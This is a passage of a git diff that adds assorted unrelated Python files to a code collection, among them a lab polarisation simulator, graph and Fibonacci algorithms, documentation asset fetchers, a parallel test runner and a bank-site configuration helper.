sys.argv[2].startswith('--'): + valid_data_param = True + data_file = sys.argv[2] + if not data_file.endswith(".xml"): + print "Data file should be a .xml file" + exit() + + lang = data_file[:data_file.find('/')] + + if not os.path.exists(lang): + print "Lang directory '%s' does not exist" % lang + exit() + + sys.argv.pop() + + # copy activty/activity.info.lang as activty/activity.info + f = 'activity/activity.info.' + lang + if os.path.exists(f): + shutil.copyfile(f, 'activity/activity.info') + +if not valid_data_param: + config = utils.read_conf_from_info('./') + data_file = config['path'] + lang = data_file[:data_file.find('/')] + print "data_file parameter not set, taking config from activity.info file" + print "using %s" % data_file + +print +print "Lang:", lang +print + +if lang == 'base': + print 'Without a data file will create a .xo/tar.bz2 file with ' \ + 'sources only' + print + +print 'To create a wikipedia activity for a specific language' +print 'add a parameter with the xml data file, like:' +print +print './setup.py dist_xo fr/frwiki-20111231-pages-articles.xml' +print + +bundlebuilder.XOPackager = WikiXOPackager +bundlebuilder.SourcePackager = WikiSourcePackager + +bundlebuilder.start() diff --git a/pool/shard009/Python/0083537_polarisation_dependence_sim.py b/pool/shard009/Python/0083537_polarisation_dependence_sim.py new file mode 100644 index 0000000000000000000000000000000000000000..7de4aca45fb9986a69a2f0f991047404cbd3ee02 --- /dev/null +++ b/pool/shard009/Python/0083537_polarisation_dependence_sim.py @@ -0,0 +1,202 @@ +# -*- coding: utf8 -*- +""" +This file contains a simulator for testing polarisation-dependence measurment tools + +Qudi is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +Qudi is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Qudi. If not, see . + +Copyright (c) the Qudi Developers. See the COPYRIGHT.txt file at the +top-level directory of this distribution and at +""" + +import numpy as np +import random +import time + +from core.module import Base, Connector +from interface.motor_interface import MotorInterface +from interface.slow_counter_interface import SlowCounterInterface +from qtpy import QtCore + + +class PolarizationDependenceSim(Base, SlowCounterInterface, MotorInterface): + + """ This class wraps the slow-counter dummy and adds polarisation angle dependence in order to simulate dipole polarisation measurements. + """ + + _modclass = 'polarizationdepsim' + _modtype = 'hardware' + + # Connectors + counter1 = Connector(interface='SlowCounterInterface') + + _move_signal = QtCore.Signal() + + def on_activate(self): + """ Activation of the class + """ + # name connected modules + self._counter_hw = self.get_connector('counter1') + + # Required class variables to pretend to be the counter hardware + self._photon_source2 = None + + # initialize class variables + self.hwp_angle = 0 + + self.dipole_angle = random.uniform(0,360) + + self.velocity = 10 + self.clock_frequency = 50 + self.forwards_motion = True + self.moving = False + + # Signals + self._move_signal.connect(self._move_step, QtCore.Qt.QueuedConnection) + + def on_deactivate(self): + self._counter_hw.close_counter() + self._counter_hw.close_clock() + + # Wrapping the slow counter methods + def set_up_clock(self, clock_frequency = None, clock_channel = None): + """ Direct pass-through to the counter hardware module + """ + self.clock_frequency = clock_frequency + return self._counter_hw.set_up_clock(clock_frequency = clock_frequency, clock_channel = clock_channel) + + def get_constraints(self): + """ Pass through counter constraints. """ + return self._counter_hw.get_constraints() + + def set_up_counter(self, + counter_channel=None, + photon_source=None, + counter_channel2=None, + photon_source2=None, + clock_channel=None): + """ Direct pass-through to the counter hardware module + """ + return self._counter_hw.set_up_counter(counter_channel=counter_channel, + photon_source=photon_source, + counter_channel2=counter_channel2, + photon_source2=photon_source2, + clock_channel=clock_channel) + + def get_counter(self, samples=None): + """ Direct pass-through to the counter hardware module + """ + raw_count = self._counter_hw.get_counter(samples=samples) + + # modulate the counts with a polarisation dependence + angle = np.radians(self.hwp_angle - self.dipole_angle) + count = raw_count * np.sin(angle) * np.sin(angle) + random.uniform(-0.1, 0.1) + return count + + def close_counter(self): + """ Direct pass-through to the counter hardware module + """ + return self._counter_hw.close_counter() + + def close_clock(self, power=0): + """ Direct pass-through to the counter hardware module + """ + return self._counter_hw.close_clock(power=power) + + # Satisfy the motor interface + + def move_rel(self, axis=None, distance=None): + """ Move the polarisation angle by relative degrees + """ + if distance is None: + #TODO warning + pass + + self.destination = self.hwp_angle + distance + + # Keep track of the motion direction so we will know when we are past the destination + if distance > 0: + self.forwards_motion = True + else: + self.forwards_motion = False + + self.moving = True + self._move_signal.emit() + return 0 + + def move_abs(self, axis=None, position=None): + """ Move the polarisation angle to absolute degrees + """ + if position is None: + #TODO warning + pass + self.destination = position + + # Keep track of the motion direction so we will know when we are past the destination + if position > self.hwp_angle: + self.forwards_motion = True + else: + self.forwards_motion = False + + self.moving = True + self._move_signal.emit() + return 0 + + def _move_step(self): + """Make movement steps in a threaded loop + """ + + # if abort is requested, then stop moving + if not self.moving: + return + + # If we have reached the destination then stop the movement + if self.forwards_motion: + if self.hwp_angle > self.destination: + return + else: + if self.hwp_angle < self.destination: + return + + # Otherwise make a movement step + + step_size = self.velocity / self.clock_frequency + + if self.forwards_motion: + self.hwp_angle += step_size + else: + self.hwp_angle -= step_size + + time.sleep(1./self.clock_frequency) + self._move_signal.emit() + + def abort(self): + self.moving = False + return 0 + + def get_pos(self, axis=None): + return self.hwp_angle + + def get_status(self): + return 0 + + def calibrate(self, axis=None): + self.hwp_angle = 0 + return 0 + + def get_velocity(self, axis=None): + return self.velocity + + def set_velocity(self, axis=None, velocity=None): + self.velocity = velocity + return 0 diff --git a/pool/shard009/Python/0083539_eulerian_cycle.py b/pool/shard009/Python/0083539_eulerian_cycle.py new file mode 100644 index 0000000000000000000000000000000000000000..ea6f60991446466f89ad31f11c48a742564ddaf8 --- /dev/null +++ b/pool/shard009/Python/0083539_eulerian_cycle.py @@ -0,0 +1,143 @@ +# python3 +import queue + + +class Edge: + def __init__(self, u, v): + self.u = u + self.v = v + + +class Graph: + def __init__(self, n): + self.edges = [] + self.incoming_edges = [] + self.graph = [[] for _ in range(n)] + self.incoming_graph = [[] for _ in range(n)] + + + def add_edge(self, from_, to): + edge = Edge(from_, to) + self.graph[from_].append(len(self.edges)) + self.edges.append(edge) + self.incoming_graph[to].append(len(self.incoming_edges)) + self.incoming_edges.append(edge) + + def size(self): + return len(self.graph) + + def get_ids(self, from_): + return self.graph[from_] + + def get_incoming_ids(self, to): + return self.incoming_graph[to] + + def get_edge(self, id): + return self.edges[id] + + def get_incoming_edge(self, id): + return self.incoming_edges[id] + + + +def read_data(): + vertex_count, edge_count = map(int, input().split()) + graph = Graph(vertex_count) + for _ in range(edge_count): + u, v = map(int, input().split()) + graph.add_edge(u - 1, v - 1) + return graph, vertex_count, edge_count + + +def check_if_balanced(graph): + n = graph.size() + for v in range(n): + out_ids = graph.get_ids(v) + in_ids = graph.get_incoming_ids(v) + if len(out_ids) != len(in_ids): + return False + return True + + +def find_next_start(used_vertices): + for vertex, is_used in enumerate(used_vertices): + if is_used and find_unused_edge(vertex) is not None: + return vertex + + +def find_unused_edge(vertex): + global used_edges + for o_id in graph.get_ids(vertex): + if not used_edges[o_id]: + return o_id + + +def find_a_cycle(start): + global used_edges + global used_vertices + + v = -1 + s = start + used_vertices[s] = True + cycle = [s] + while v != start: + o_id = find_unused_edge(s) + v = graph.get_edge(o_id).v + used_edges[o_id] = True + used_vertices[v] = True + s = v + cycle.append(s) + + cycle = cycle[:-1] + + return cycle + + +def get_result(order_dict, start=0): + res = [] + res.append(start + 1) + for v in order_dict[start][1:]: + if order_dict.get(v) is None or v + 1 in res: + res.append(v + 1) + else: + res.extend(get_result(order_dict, v)) + res.append(start + 1) + return res + + +def eulerian_cycle(graph): + global used_edges + global used_vertices + global order + + if not check_if_balanced(graph): + print(0) + exit() + else: + print(1) + + start = 0 + #order.append(str(start)) + while False in used_edges: + cycle = find_a_cycle(start) + if order.get(start) is None: + order[start] = cycle + else: + order[start] = order[start] + cycle + start = find_next_start(used_vertices) + if start is None: + break + + result = get_result(order)[:-1] + print(' '.join(map(str, result))) + + + + + + +graph, vertex_count, edge_count = read_data() +used_edges = [False] * edge_count +used_vertices = [False] * vertex_count +order = {} +eulerian_cycle(graph) \ No newline at end of file diff --git a/pool/shard009/Python/0083541_parse_go.py b/pool/shard009/Python/0083541_parse_go.py new file mode 100644 index 0000000000000000000000000000000000000000..391352d80944db74254d33b2ba28b6802bf20e42 --- /dev/null +++ b/pool/shard009/Python/0083541_parse_go.py @@ -0,0 +1,63 @@ +from GO import GO + +def main(): + species_prefix = "sgd" # "goa_human" + go = GO("../data/gene_ontology.1_2-20_2_2012.obo", + False, + "../data/gene_association." + species_prefix + ".gz?rev=HEAD", #"../../../data/go/gene_association.goa_uniprot.gz", + exclude_evidences=[]) + print len(go.g.nodes()), len(go.go_id_to_genes) + result = [] + for go_id, data in go.g.nodes(data=True): + if go_id not in go.go_id_to_genes: + continue + desc = data['n'] + result.append( (desc, [(gene, tax_id) for gene, tax_id in go.go_id_to_genes[go_id]] ) ) + return + + +def get_go_annotations(file_name, key_identifier="genesymbol", evidences_to_filter=None, tax_id=None): + """ + key_identifier: genesymbol | uniprot + tax_id: 9606 + evindeces_to_filter: ['IKR', 'HMP', 'HEP', 'EXP', 'TAS', 'ISS', 'IEP', 'IPI', 'ND', 'NAS', 'ISM', 'ISO', 'IGI', 'HDA', 'IBA', 'IEA', 'ISA', 'IC', 'IMP', 'IDA'] + """ + gene_to_go_ids = {} + go_id_to_genes = {} + evidences_to_filter = set() + if evidences_to_filter is not None: + evidences_to_filter = set(evidences_to_filter) + molecules_all = set() + evidences_all = set() + with open(file_name) as f: + for line in f.readlines(): + if line[0] == "!": + continue + words = line.strip("\n").split("\t") + if key_identifier == "genesymbol": + gene = words[2] + else: + gene = words[1] + go_term = words[4] + evidence = words[6] + genes = words[10] + molecule = words[11] + tax = words[12] + molecules_all.add(molecule) + evidences_all.add(evidence) + #print words + #print gene, go_term, evidence, molecule, tax, genes + if evidences_to_filter is not None and evidence in evidences_to_filter: + continue + if tax != "taxon:"+tax_id: + continue + go_id_to_genes.setdefault(go_term, set()).add(gene) + gene_to_go_ids.setdefault(gene, set()).add(go_term) + #print molecules_all + #print evidences_all + return go_id_to_genes, gene_to_go_ids + + +if __name__ == "__main__": + main() + diff --git a/pool/shard009/Python/0083549_images.py b/pool/shard009/Python/0083549_images.py new file mode 100644 index 0000000000000000000000000000000000000000..e67707550e5e6e14517d5e1d52d0430ccb52d6db --- /dev/null +++ b/pool/shard009/Python/0083549_images.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python + +""" TODO: + +We should find a good way in which to store files elsewhere than _static + +Make sure that downloaded files are copied to build dir on build +This must (probably) be done *after* compilation because otherwise dirs +may not exist. + +""" + +from urllib2 import urlopen, HTTPError +import os +from sys import executable + +srcpath = 'http://wiki.fysik.dtu.dk/gpaw-files' + +def get(path, names, target=None, source=None): + """Get files from web-server. + + Returns True if something new was fetched.""" + + if target is None: + target = path + if source is None: + source = srcpath + got_something = False + for name in names: + src = os.path.join(source, path, name) + dst = os.path.join(target, name) + + if not os.path.isfile(dst): + print dst, + try: + data = urlopen(src).read() + sink = open(dst, 'w') + sink.write(data) + sink.close() + print 'OK' + got_something = True + except HTTPError: + print 'HTTP Error!' + return got_something + + +literature = """ +askhl_10302_report.pdf mortensen_gpaw-dev.pdf rostgaard_master.pdf +askhl_master.pdf mortensen_mini2003talk.pdf rostgaard_paw_notes.pdf +marco_master.pdf mortensen_paw.pdf +""".split() + +logos = """ +logo-csc.png logo-fmf.png logo-hut.png logo-tree.png +logo-dtu.png logo-gpaw.png logo-jyu.png logo-tut.png logo-anl.png +""".split() + + +# flowchart.pdf flowchart.sxd <-- where? +devel_stuff = """ +gpaw-logo.svg gpaw-logo.odg overview.odg overview.pdf svn-refcard.pdf +""".split() + +architectures_stuff = """ +dynload_redstorm.c +numpy-1.0.4-gnu.py.patch +numpy-1.0.4-gnu.py.patch.powerpc-bgp-linux-gfortran +numpy-1.0.4-site.cfg.lapack_bgp_esslbg +numpy-1.0.4-system_info.py.patch.lapack_bgp_esslbg +setup +unixccompiler.py +""".split() + +get('logos', logos, '_static') +get('architectures', architectures_stuff, '_static') +get('doc/literature', literature, '_static') +get('doc/devel', devel_stuff, '_static') +get('devel', ['bslogo.png', 'overview.png', 'stat.png']) + +# Note: bz-all.png is used both in an exercise and a tutorial. Therefore +# we put it in the common dir so far, rather than any of the two places +get('.', ['bz-all.png'], '_static') +get('exercises/band_structure', ['silicon_banddiagram.png']) +get('exercises/wavefunctions', ['co_bonding.jpg']) + +get('tutorials/bandstructures', ['sodium_bands.png']) +get('tutorials/ensembles', ['ensemble.png']) + +get('.', ['2sigma.png', 'co_wavefunctions.png', 'molecules.png'], '_static') +get('exercises/lrtddft', ['spectrum.png']) +get('documentation/xc', 'g2test_pbe0.png g2test_pbe.png results.png'.split()) +get('performance', 'dacapoperf.png goldwire.png gridperf.png'.split(), + '_static') + +get('tutorials/negfstm', ['fullscan.png', 'linescan.png']) + + + + +get('tutorials/xas', ['h2o_xas_3.png', 'h2o_xas_4.png']) + +jjwww = 'http://dcwww.camp.dtu.dk/~jensj' + +def setup(app): + # Generate one page for each setup: + if get('setups', ['setups-data.tar.gz'], '_static'): + print 'Extracting setup data ...' + os.system('tar -C _static -xzf _static/setups-data.tar.gz') + print 'Generating setup pages ...' + os.system('cd setups; %s make_setup_pages.py' % executable) + + # Retrieve latest code coverage pages: + if get('.', ['gpaw-coverage-latest.tar.gz'], '_static', + source='http://dcwww.camp.dtu.dk/~chlg'): + print 'Extracting coverage pages ...' + os.system('tar -C devel -xzf _static/gpaw-coverage-latest.tar.gz') + + # Fallback in case coverage pages were not found + if not os.path.isfile('devel/testsuite.rst'): + open('devel/testsuite.rst', 'w').write( \ + '\n'.join(['.. _testsuite:', + '', '==========', 'Test suite', '==========', + '', '.. warning::', ' Coverage files not found!'])) + if not os.path.isdir('devel/coverage'): + os.mkdir('devel/coverage', 0755) + if not os.path.isfile('devel/coverage/index.rst'): + open('devel/coverage/index.rst', 'w').write( \ + '\n'.join(['-----------------------------------', + 'List of files with missing coverage', + '-----------------------------------', + '', 'Back to :ref:`code coverage `.', + '', '.. warning::', ' Coverage files not found!'])) + if not os.path.isfile('devel/coverage/ranking.txt'): + open('devel/coverage/ranking.txt', 'w').write( \ + '\n'.join(['-------------------------------------', + 'Distribution of coverage by developer', + '-------------------------------------', + '', '.. warning::', ' Coverage files not found!'])) + if not os.path.isfile('devel/coverage/summary.txt'): + open('devel/coverage/summary.txt', 'w').write( \ + '\n'.join(['-------', 'Summary', '-------', + '', '.. warning::', ' Coverage files not found!'])) + + # Get png files and other stuff from the AGTS scripts that run + # every weekend: + from gpaw.test.big.agts import AGTSQueue + queue = AGTSQueue() + queue.collect() + names = set() + for job in queue.jobs: + if job.creates: + for name in job.creates: + assert name not in names, "Name '%s' clashes!" % name + names.add(name) + get('gpaw-files', [name], job.dir, source=jjwww) + + # Get files that we can't generate: + for dir, file in [ + ('.', 'camd.png'), + ('tutorials/xas', 'xas_illustration.png'), + ('tutorials/xas', 'xas_h2o_convergence.png'), + ('install/BGP', 'bgp_mapping_intranode.png'), + ('install/BGP', 'bgp_mapping1.png'), + ('install/BGP', 'bgp_mapping2.png')]: + get('gpaw-stuff', [file], dir, jjwww) diff --git a/pool/shard009/Python/0083554_parallel_runner.py b/pool/shard009/Python/0083554_parallel_runner.py new file mode 100644 index 0000000000000000000000000000000000000000..1505d85138404f374352e2ec4c81ee1529040f81 --- /dev/null +++ b/pool/shard009/Python/0083554_parallel_runner.py @@ -0,0 +1,227 @@ +from lettuce.core import Feature, TotalResult + +from lettuce.terrain import after +from lettuce.terrain import before +from lettuce.terrain import world + +from lettuce.decorators import step +from lettuce.registry import call_hook +from lettuce.registry import STEP_REGISTRY +from lettuce.registry import CALLBACK_REGISTRY +from lettuce.exceptions import StepLoadingError +from lettuce.plugins import ( + xunit_output, + autopdb +) +from lettuce import fs +from lettuce import exceptions + +from multiprocessing import Pool +from cStringIO import StringIO +from itertools import chain +import os.path +import sys +import traceback +import copy + +from importlib import import_module + +try: + from colorama import init as ms_windows_workaround + ms_windows_workaround() +except ImportError: + pass + +try: + terrain = fs.FileSystem._import("terrain") + reload(terrain) +except Exception, e: + if not "No module named terrain" in str(e): + string = 'Lettuce has tried to load the conventional environment ' \ + 'module "terrain"\nbut it has errors, check its contents and ' \ + 'try to run lettuce again.\n\nOriginal traceback below:\n\n' + + sys.stderr.write(string) + sys.stderr.write(exceptions.traceback.format_exc(e)) + raise SystemExit(1) + + +class ParallelRunner(object): + """Parallel lettuce test runner. Runs each feature in a separate process, + up to a fixed number in parallel. + + Takes a base path as parameter (string), so that it can look for + features and step definitions on there. + """ + def __init__(self, base_path, parallelization=5, scenarios=None, + verbosity=0, random=False, enable_xunit=False, + xunit_filename=None, tags=None, failfast=False, + auto_pdb=False): + """ lettuce.Runner will try to find a terrain.py file and + import it from within `base_path` + """ + + self.tags = tags + self.explicit_features = [] + + if isinstance(base_path, list): + self.explicit_features = base_path + base_path = os.path.dirname(base_path[0]) + + sys.path.insert(0, base_path) + self.loader = fs.FeatureLoader(base_path) + self.verbosity = verbosity + self.scenarios = scenarios and map(int, scenarios.split(",")) or None + self.failfast = failfast + if auto_pdb: + autopdb.enable(self) + + sys.path.remove(base_path) + + if verbosity is 0: + output = 'non_verbose' + elif verbosity is 1: + output = 'dots' + elif verbosity is 2: + output = 'scenario_names' + elif verbosity is 3: + output = 'shell_output' + else: + output = 'colored_shell_output' + + self.random = random + + if enable_xunit: + xunit_output.enable(filename=xunit_filename) + + self._output = output + + self.parallelization = parallelization + + @property + def output(self): + module = import_module('.' + self._output, 'lettuce.plugins') + reload(module) + return module + + def run(self): + """ Find and load step definitions, and them find and load + features under `base_path` specified on constructor + """ + try: + self.loader.find_and_load_step_definitions() + except StepLoadingError, e: + print "Error loading step definitions:\n", e + return + + results = [] + if self.explicit_features: + features_files = self.explicit_features + else: + features_files = self.loader.find_feature_files() + if self.random: + random.shuffle(features_files) + + if not features_files: + self.output.print_no_features_found(self.loader.base_dir) + return + + processes = Pool(processes=self.parallelization) + test_results_it = processes.imap_unordered( + worker_process, [(self, filename) for filename in features_files] + ) + + all_total = ParallelTotalResult() + for result in test_results_it: + all_total += result['total'] + sys.stdout.write(result['stdout']) + sys.stderr.write(result['stderr']) + + return all_total + +def worker_process(args): + self, filename = args + sys.stdout = StringIO() + sys.stderr = StringIO() + + failed = False + results = [] + try: + self.output + call_hook('before', 'all') + feature = Feature.from_file(filename) + results.append( + feature.run(self.scenarios, + tags=self.tags, + random=self.random, + failfast=self.failfast)) + + except exceptions.LettuceSyntaxError, e: + sys.stderr.write(e.msg) + failed = True + except: + if not self.failfast: + e = sys.exc_info()[1] + print "Died with %s" % str(e) + traceback.print_exc() + else: + print + print ("Lettuce aborted running any more tests " + "because was called with the `--failfast` option") + + failed = True + + finally: + total = TotalResult(results) + call_hook('after', 'all', total) + + return { + 'stdout': sys.stdout.getvalue(), + 'stderr': sys.stderr.getvalue(), + 'failed': failed, + 'total': ParallelTotalResult(total), + } + +class ParallelTotalResult(object): + def __init__(self, total=None): + self.steps_passed = 0 + self.steps_failed = 0 + self.steps_skipped = 0 + self.steps_undefined = 0 + self.steps = 0 + scenario_results = [] + if total: + feature_results = total.feature_results + self.features_ran = len(feature_results) + self.features_passed = len([result for result in feature_results if result.passed]) + for feature_result in feature_results: + for scenario_result in feature_result.scenario_results: + self.steps_passed += len(scenario_result.steps_passed) + self.steps_failed += len(scenario_result.steps_failed) + self.steps_skipped += len(scenario_result.steps_skipped) + self.steps_undefined += len(scenario_result.steps_undefined) + self.steps += scenario_result.total_steps + scenario_results.append(scenario_result) + self.scenarios_ran = len(scenario_results) + self.scenarios_passed = len([result for result in scenario_results if result.passed]) + else: + self.features_ran = 0 + self.features_passed = 0 + self.scenarios_ran = 0 + self.scenarios_passed = 0 + + def _filter_proposed_definitions(self): + raise NotImplementedError() + + @property + def proposed_definitions(self): + raise NotImplementedError() + + def __add__(self, other): + new_ptr = copy.copy(self) + for attr in new_ptr.__dict__: + if isinstance(getattr(new_ptr, attr), int): + setattr(new_ptr, attr, + getattr(new_ptr, attr) + getattr(other, attr)) + return new_ptr + diff --git a/pool/shard009/Python/0083556_config.py b/pool/shard009/Python/0083556_config.py new file mode 100644 index 0000000000000000000000000000000000000000..118316473a84de1ade03a216321f9aea80382ee8 --- /dev/null +++ b/pool/shard009/Python/0083556_config.py @@ -0,0 +1,47 @@ +# -*- coding: utf-8 -*- + +""" +Module :mod:`config` contains the configurable features +""" + +import os + +__author__ = "Begon Jean-Michel " +__copyright__ = "3-clause BSD License" + + +__CT_FOLDER__ = "clustertools_data" + +__CT_FOLDER_ENVVAR__ = "CT_FOLDER" # environment variable for the folder +__CT_ENVIRONMENT_ENVVARS__ = "CT_ENVIRONMENT" # env var for preferred environment + + +def get_ct_folder(): + folder = os.environ.get(__CT_FOLDER_ENVVAR__) + if folder is None: + folder = os.path.join(os.path.expanduser("~"), __CT_FOLDER__) + return folder + + +def get_default_environment(environment_cls=None): + if environment_cls is not None: + return environment_cls + + from .environment import __CT_ENVIRONMENTS__ + + # Check environment variable + env_name_var = os.environ.get(__CT_ENVIRONMENT_ENVVARS__) + if env_name_var is not None: + for env_name, environment_cls in __CT_ENVIRONMENTS__: + if env_name == env_name_var: + return environment_cls + + # Check config file + # TODO later + + # Check what exists + for _, environment_cls in __CT_ENVIRONMENTS__: + if environment_cls.is_usable(): + return environment_cls + + diff --git a/pool/shard009/Python/0083563_fastfibonacci.py b/pool/shard009/Python/0083563_fastfibonacci.py new file mode 100644 index 0000000000000000000000000000000000000000..21ce5913362e845c817ffacfe9071176fab1edc2 --- /dev/null +++ b/pool/shard009/Python/0083563_fastfibonacci.py @@ -0,0 +1,31 @@ +# https://www.nayuki.io/res/fast-fibonacci-algorithms/fastfibonacci.py +# Acessado em 21/01/2017 + +# +# Fast doubling Fibonacci algorithm (Python) +# +# Copyright (c) 2015 Project Nayuki +# All rights reserved. Contact Nayuki for licensing. +# https://www.nayuki.io/page/fast-fibonacci-algorithms +# + + +# (Public) Returns F(n). +def fibonacci(n): + if n < 0: + raise ValueError("Negative arguments not implemented") + return _fib(n)[0] + + +# (Private) Returns the tuple (F(n), F(n+1)). +def _fib(n): + if n == 0: + return (0, 1) + else: + a, b = _fib(n // 2) + c = a * (b * 2 - a) + d = a * a + b * b + if n % 2 == 0: + return (c, d) + else: + return (d, c + d) diff --git a/pool/shard009/Python/0083570_checkpoint.py b/pool/shard009/Python/0083570_checkpoint.py new file mode 100644 index 0000000000000000000000000000000000000000..a4acc639e4cd750034515b5fca5084f526c80cd0 --- /dev/null +++ b/pool/shard009/Python/0083570_checkpoint.py @@ -0,0 +1,20 @@ +from geo_point import GeoPoint + +class Checkpoint(object): + + def __init__(self): + self.id = None + self.location = None + + @staticmethod + def row_to_object(row): + checkpoint = Checkpoint() + checkpoint.id = row.id + checkpoint.location = GeoPoint.row_to_object(row.location) + return checkpoint + + def to_dict(self): + dict_data = {}; + dict_data['id'] = str(self.id) + dict_data['location'] = self.location.to_dict() + return dict_data \ No newline at end of file diff --git a/pool/shard009/Python/0083576_pconf.py b/pool/shard009/Python/0083576_pconf.py new file mode 100644 index 0000000000000000000000000000000000000000..ba00ce27a7d926ab6568ae72fe8c4c9d9542ece6 --- /dev/null +++ b/pool/shard009/Python/0083576_pconf.py @@ -0,0 +1,118 @@ +#!/usr/bin/python2 +# -*- coding=utf-8 -*- + + +import getpass, json, os, datetime + +default_config = {} +default_config['debug'] = True +default_config['version'] = "0.0.2" +default_config['user_agent'] = "Mozilla/5.0 (X11; Linux i686; rv:58.0) Gecko/20100101 Firefox/58.0" +default_config['urls'] = {} +default_config['urls']['login'] = "https://securelogin.poste.it/jod-fcc/login" +default_config['urls']['logout'] = "https://securelogin.poste.it/jod-fcc/logout?_referer=https://www.poste.it/index.html" +default_config['urls']['home'] = "https://www.poste.it/myposte/index.html" +default_config['urls']['bpol'] = {} +default_config['urls']['bpol']['home'] = "https://bancoposta.poste.it/bpol/public/BPOL_ListaMovimentiAPP/index.html#/" +default_config['urls']['bpol']['lista_mov'] = "https://bancoposta.poste.it/bpol/BPOL_ListaMovimentiAPP/rest/listaMovimenti" +default_config['urls']['bpol']['conti'] = "https://bancoposta.poste.it/bpol/BPOL_ListaContiAPP/rest/conti" +default_config['urls']['bpol']['titolare'] = "https://bancoposta.poste.it/bpol/BPOL_ListaContiAPP/rest/titolareEffettivo" +default_config['urls']['bpol']['conf'] = "https://bancoposta.poste.it/bpol/bpol/BPOL_ConfigurazioniAPP/rest/configurazioni" +default_config['urls']['postepay'] = {} +default_config['urls']['postepay']['home'] = "https://postepay.poste.it/portalppay/startListaMovimentiAction.do" +default_config['urls']['postepay']['view'] = "https://postepay.poste.it/portalppay/viewListaMovimentiAction.do" + + +class Config: + def __init__(self): + self.__dir_conf = os.environ['HOME'] + "/.config/posteit" + + if not os.path.exists(self.__dir_conf): + os.makedirs(self.__dir_conf) + + self.__dir_log = self.__dir_conf + "/log" + self.__file_conf = self.__dir_conf + "/config.json" + self.__file_cookie = self.__dir_conf + "/header.json" + self.__file_csv = self.__dir_conf + "/summary.csv" + + if not os.path.exists(self.__dir_log): + os.makedirs(self.__dir_log) + + #load config or make it + if not os.path.exists(self.__file_conf): + self.__makeConf() + with open(self.__file_conf) as data_file: + self.__data_conf = json.load(data_file) + + def getData(self): + return self.__data_conf + + def getLogDir(self): + return self.__dir_log + + def getConfDir(self): + return self.__dir_conf + + def __makeConf(self): + self.__data = default_config + self.__data['username'] = raw_input("Inserisci il nome utente:\n") + print + print "Inserisci la password:" + self.__data['password'] = getpass.getpass() + print + self.__data['numero_conto'] = raw_input("Inserisci il numero conto:\n") + print + print "i valori verranno salvati in " + self.__file_conf + + file = open(self.__file_conf, "w") + data = json.dumps(self.__data, indent=4, separators=(',', ': '), sort_keys=True) + file.write(data) + file.close() + + def getCookie(self): + #load file cookie + if os.path.exists(self.__file_cookie): + with open(self.__file_cookie) as data_file: + cookie_json = json.load(data_file) + return cookie_json['dict']['set-cookie'] + else: + return None + + def setCookie(self, headers): + file = open(self.__file_cookie, "w") + data = json.dumps(headers.__dict__, indent=4, separators=(',', ': '), sort_keys=True) + file.write(data) + file.close() + + def delCookie(self): + if os.path.exists(self.__file_cookie): + os.remove(self.__file_cookie) + + def write_csv(self, content): + f = open(self.__file_csv, "w") + f.write(content) + f.close() + + def write_html(self, name, contents): + f = self.__getFile(name, ".html") + f.write(contents) + f.close() + + + def write_json(self, name, contents): + f = self.__getFile(name, ".json") + data = json.dumps(contents, indent=4, separators=(',', ': ')) + f.write(data) + f.close() + + def __getFile(self, name, ext): + date = self.__getDate() + logDir = self.getLogDir() + filename = logDir + "/" + name + date + ext + f = open(filename, "w") + print "DEBUG: write " + filename + return f + + def __getDate(self): + date_now = datetime.datetime.now() + return date_now.strftime("%Y%m%d-%H%M%s") diff --git a/pool/shard009/Python/0083577_test_endpoint.py b/pool/shard009/Python/0083577_test_endpoint.py new file mode 100644 index 0000000000000000000000000000000000000000..6247fc9f486fc29a04bd0bccc9122dec46571cfe --- /dev/null +++ b/pool/shard009/Python/0083577_test_endpoint.py @@ -0,0 +1,53 @@ +import unittest +import urllib + +from urlparse import urlunparse +from restkit import Resource, request, BasicAuth +from restkit.errors import Unauthorized +from config import server + +try: + from json import loads +except ImportError: + from simplejson import loads + +try: + from urlparse import parse_qsl +except ImportError: + from cgi import parse_qsl + +class AuthToken(object): + def __init__(self, token): + self.token = token + + def on_request(self, request): + parsed_url = request.parsed_url + params = {'auth_token': self.token} + params.update(parse_qsl(parsed_url.query)) + request.url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, + parsed_url.params, urllib.urlencode(params, True), + parsed_url.fragment)) + +class TestEndpoint(unittest.TestCase): + def setUp(self): + auth = BasicAuth('john', 'teste') + res = Resource(server, filters=[auth, ]) + r = res.get('/authenticate') + data = loads(r.body_string()) + + self.auth = AuthToken(data.get('token')) + self.res = Resource(server, filters=[self.auth, ]) + + def testAuthentication(self): + r = self.res.get('/') + self.assertEqual(200, r.status_int) + + try: + res = Resource(server) + r = res.get('/') + self.assertTrue(False) + except Unauthorized, e: + self.assertTrue(True) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083579_setup.py b/pool/shard009/Python/0083579_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..d08c0c313d1b097c8b088b1439f2f5a5019be86b --- /dev/null +++ b/pool/shard009/Python/0083579_setup.py @@ -0,0 +1,143 @@ +from setuptools import setup, Extension, find_packages, distutils +from setuptools.command.build_ext import build_ext +import sys, os + +# if we want to use conda compilers (which pick up llvm-openmp and fftw3 automatically) +if sys.platform == "darwin": + os.environ["CC"]="clang" + os.environ["CXX"]="clang++" + +class get_pybind_include(object): + """Helper class to determine the pybind11 include path + The purpose of this class is to postpone importing pybind11 + until it is actually installed, so that the ``get_include()`` + method can be invoked. """ + + def __init__(self, user=False): + self.user = user + + def __str__(self): + import pybind11 + return pybind11.get_include(self.user) + +ext_modules = [ + Extension( + 'basic_cpp', + ['pyms/basic/basic_cpp.cpp'], + include_dirs=[ + # Path to pybind11 headers + get_pybind_include(), + get_pybind_include(user=True), + 'pyms/mlpy/' + ], + libraries=[], + extra_compile_args=[], + extra_link_args=[], + language='c++' + ), + Extension( + 'bandpass_filter_cpp', + ['pyms/basic/bandpass_filter_cpp.cpp','pyms/basic/bandpass_filter_kernel.cpp'], + include_dirs=[ + # Path to pybind11 headers + get_pybind_include(), + get_pybind_include(user=True), + 'pyms/mlpy/' + ], + libraries=[], + extra_compile_args=[],# flags ignored here? hardcoded below ( https://github.com/pybind/python_example/issues/23 ) + extra_link_args=['-fopenmp', 